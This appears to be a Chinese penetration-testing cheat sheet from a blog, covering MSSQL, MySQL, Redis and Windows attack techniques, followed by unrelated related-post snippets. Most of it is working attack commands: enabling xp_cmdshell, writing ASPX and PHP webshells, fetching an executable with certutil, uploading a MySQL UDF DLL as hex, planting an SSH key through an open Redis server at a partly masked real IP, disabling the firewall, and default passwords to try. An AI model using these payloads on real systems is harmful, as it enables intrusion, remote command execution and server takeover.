4、数据库安全基础

4.1、MSSQL

数据库角色权限
sysadmin:执行SQL Server中的任何动作

db_owner:可以执行数据库中技术所有动作的用户

public:数据库的每个合法用户都属于该角色。它为数据库中的用户提供了所有默认权限。
数据库身份验证
SQL Server中的验证方式
Windows身份验证模式
SQL Server和Windows身份验证模式(混合模式)
常用命令
  • xp_cmdshell 执行命令
exec xp_cmdshell 'dir'
  • sp_configure 开启扩展
exec sp_configure 'show'
exec sp_configure 'show advanced options',1
reconfigure
go
exec sp_configure 'xp_cmdshell',1
reconfigure
go
  • 文件上传
1、通过SQL搜索指定文件

1> exec xp_cmdshell 'dir /s C:\ /b | findstr "Files.aspx"';
2> go
+-------------------+
| output |
+-------------------+
| C:\web\Files.aspx |
| NULL |
+-------------------+
(2 rows affected) 2、通过SQL写webshell到网站目录,DOS转义问题 1> exec xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["z"],"unsafe");%^> >> C:\web\hello.aspx';
2> go
+--------+
| output |
+--------+
| NULL |
+--------+
(1 rows affected) 3、文件下载 # 本地开启Web服务
python -m SimpleHTTPServer 80
# 远程服务器执行下载
1> exec xp_cmdshell "certutil -urlcache -f -split http://172.18.0.24/3389.exe";
2> go
+------------------------------------+
| output |
+------------------------------------+
| **** 联机 **** |
| 000000 ... |
| 02c8fe |
| CertUtil: -URLCache 命令成功完成。 |
| NULL |
+------------------------------------+
(5 rows affected)
  • 加解密web.config
aspnet_regiis -pef "加密的字段" "web路径不带\"
aspnet_regiis -pdf "解密的字段" "web路径不带\"

4.2、MySQL

获取Shell

获取方法有两种

  • 上传一个用户自定义方法udf,执行系统命令
  • mysql+web的形式,into outfile写文件

常用语句

# 显示用户名
select user();
# 显示数据库版本
select @@version;
# 显示导出目录路径
select @@secure_file_priv;
# 将数据导出到某个文件
select 1 into outfile '/var/www/html/sql/1.txt';
select "<?=system($_GET['z']);?>" into outfile '/var/www/html/sql/z.php'
select "<?=eval($_REQUEST['z']);?>" into outfile '/var/www/html/sql/z1.php'

导出UDF.DLL

# 1、MySQL5 新建plugin目录
select @@basedir; //查找到mysql的目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录 # 2、利用网络共享导出UDF select load_file('\\\\192.168.0.19\\share\\udf.dll') into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"; # 3、十六进制导出 // 转换为hex函数
select hex(load_file('D:\\udf.dll')) into dumpfile "D:\\udf.hex";
// 导入
select 0x4d5a...... into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"; # 4、创建一个表并将二进制数据插入到十六进制编码流中,其中的二进制数据用update语句来连接。 create table temp(data longblob);
insert into temp(data) values (0x4d5a9....);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"; # 5、使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数“to_base64”和“from_base64”上传二进制文件。 # 转换为base64
select to_base64(load_file('D:\\udf.dll')); # base64导出为DLL
select from_base64("Base64编码") into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
条件

1、into outfile需要MySQL的file权限

2、MySQL5.7以后,secure_file_priv只能通过mysqld.cnf配置文件编辑。默认不配置,outfile写文件无权限。

3、读写文件时候,文件操作的用户是mysql:mysql,所以需要MySQL具有一个可写入的目录权限。

4.3、Redis

漏洞测试

1)本地生成秘钥

root@GanDolf:~# ssh-keygen  -t rsa

2)将公钥写入一个文件

root@GanDolf:~# cd /root/.ssh/

root@GanDolf:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

3)连接redis写入文件

root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit

OK
root@GanDolf:~/.ssh# redis-cli -h 210.73.90.xxx 210.73.90.xxx:6379> config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
210.73.90.xxx:6379> config set dbfilename "authorized_keys"
OK
(1.03s)
210.73.90.xxx:6379> SAVE
saOK
(1.40s)
210.73.90.xxx:6379> SAVE
OK
210.73.90.xxx:6379> exit
root@GanDolf:~/.ssh# ssh 4)连接服务器
root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx

5、操作系统安全基础

搜索文件

dir /s C:\ /b | findstr "Files.aspx"

批量查找文件

for /r c:\game %i in (xxxx.txt) do @echo %i

windows命令查看文件

type C:\\flag.txt

关闭防火墙

netsh firewall set opmode mode=disable

下载文件(windows2008)

certutil -urlcache -f -split http://172.18.0.24/3389.exe";

下载的方式

Windows下各种一行代码的download

https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/?tdsourcetag=s_pcqq_aiomsg

如何挖掘新的可持续后门技巧

http://www.hexacorn.com/blog/2018/10/14/how-to-find-new-persistence-tricks

6、中间件安全基础

日志分析

管理员后台

admin、manage、login、system

后门相关

help.php、fuck.php、f4ck.php

7、渗透实际操作

  • 端口扫描

  • 口令测试:admin/admin、admin/admin888、admin/123456、root/root等

  • 目录扫描

  • web安全漏洞测试:文件上传、文件下载、base64编码、常见配置文件路径

  • 提权:数据库提权

    • MySQL:outfile
select <?php phpinfo();?> outfile D:\shell.php
    • MSSQL:开启XP_CMDSHELL
exec sp_configure 'show'
exec sp_configure 'show advanced options',1
reconfigure
go
exec sp_configure 'xp_cmdshell',1
reconfigure
go
  • 连接远程桌面
    • 关闭防火墙
netsh firewall set opmode mode=disable

【技巧总结】Penetration Test Engineer[5]-Operating System Security(SQL Server、MySQL提权)的更多相关文章

  1. win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)

    今天在来一个mysql提权 (也可以说是默认system权限提的) 在被黑站点找到一个站   先教拿shell是有注入漏洞的 有可能是root权限的注入点 可以确定是有注入漏洞的 也得到了 物理路径 ...

  2. SQL Server 数据库编程技巧

    Ø  简介 本文主要介绍 SQL Server 数据库在平常的开发中,可能会涉及到的编程技巧,主要包含以下内容: 1.   解决 SQL Server 不支持 127.0.0.1 登录 2.   查询 ...

  3. 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)

    3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...

  4. 快速了解 Robot Operating System(ROS) 机器人操作系统

     http://www.ros.org/ 关于ROS About ROS http://www.ros.org/about-ros/ 机器人操作系统(ROS)是用于编写机器人软件的灵活框架.目的在简化 ...

  5. DBCC CHECKDB 遭遇Operating system error 112(failed to retrieve text for this error. Reason: 15105) encountered

    我们一个SQL Server服务器在执行YourSQLDBa的作业YourSQLDba_FullBackups_And_Maintenance时遇到了错误: Exec YourSQLDba.Maint ...

  6. The World's Only Advanced Operating System

    The World's Only Advanced Operating System

  7. Unable to open the physical file xxxx. Operating system error 2

    在新UAT服务器上,需要将tempdb放置在SSD(固态硬盘)上.由于SSD(固态硬盘)特性,所以tempdb的文件只能放置在D盘下面,而不能是D盘下的某一个目录下面. ALTER  DATABASE ...

  8. CREATE FILE encountered operating system error 5(Access is denied.)

    这篇博文主要演示"CREATE FILE encountered operating system error 5(Access is denied.)"错误如出现的原因(当然只是 ...

  9. Linux启动报错missing operating system

    用UltraISO制作了一个Red Hat Enterprise Linux Server release 5.7系统的U盘启动盘,然后在一台PC上安装,由于安装过程中在干别的事情,有些选项没有细看. ...

随机推荐

  1. Java 基础--小结

    Java  基础--小结 java基础 Java源程序(.java文件)——>java字节码文件(.class文件)——>由解释执行器(java.exe)将字节码文件加载到java虚拟机( ...

  2. Java线程Dump分析工具--jstack

    jstack用于打印出给定的java进程ID或core file或远程调试服务的Java堆栈信息,如果是在64位机器上,需要指定选项"-J-d64",Windows的jstack使 ...

  3. PKUWC Slay The Spire

    题面链接 LOJ sol 好神啊.果然\(dp\)还是做少了,纪录一下现在的思维吧\(QAQ\). 我们首先可以发现期望是骗人的,要不然他乘的是什么xjb玩意. 其实就是要求所有方案的最优方案和. 因 ...

  4. 【转】关于在linux下清屏的几种技巧

    在windows的DOS操作界面里面,清屏的命令是cls,那么在linux 里面的清屏命令是什么呢?下面笔者分享几种在linux下用过的清屏方法. 1.clear命令.这个命令将会刷新屏幕,本质上只是 ...

  5. Service Intent must be explicit的解决方法

    今天遇到如标题问题,查阅资料:http://blog.android-develop.com/2014/10/android-l-api-21-javalangillegalargumen.html ...

  6. BZOJ 3098 Hash Killer II

    3098: Hash Killer II Description 这天天气不错,hzhwcmhf神犇给VFleaKing出了一道题: 给你一个长度为N的字符串S,求有多少个不同的长度为L的子串. 子串 ...

  7. fzyzojP2119 -- 圆圈游戏

    说白了,就是这个样子: 这个玩意明显是一个优美的树形结构 是个森林 然后建个虚点0,并且w[0]=0,然后树形dp即可 f[x]=max(w[x],∑f[son]) 难点是:树怎么建? 就要上计算几何 ...

  8. go递归打印指定目录下的所有文件及文件夹

    func treedir(fpath string){ // 获取fileinfo if finfo,err := os.Stat(fpath); err == nil { // 判断是不是目录 如果 ...

  9. Python【logging】模块

    # 1.负责往控制台里面输出日志信息的 # 2.往日志文件里面写日志的,按天生成日志,清理日志 import logging from logging import handlers logger = ...

  10. C\C++中 fopen中文件打开方式的区别:

    在C语言中,大家常用到fopen打开文件,准备进行写操作,再用fwrite把数据写入文件,最后用fclose关闭文件. 如以下C代码:   #include <stdio.h> char ...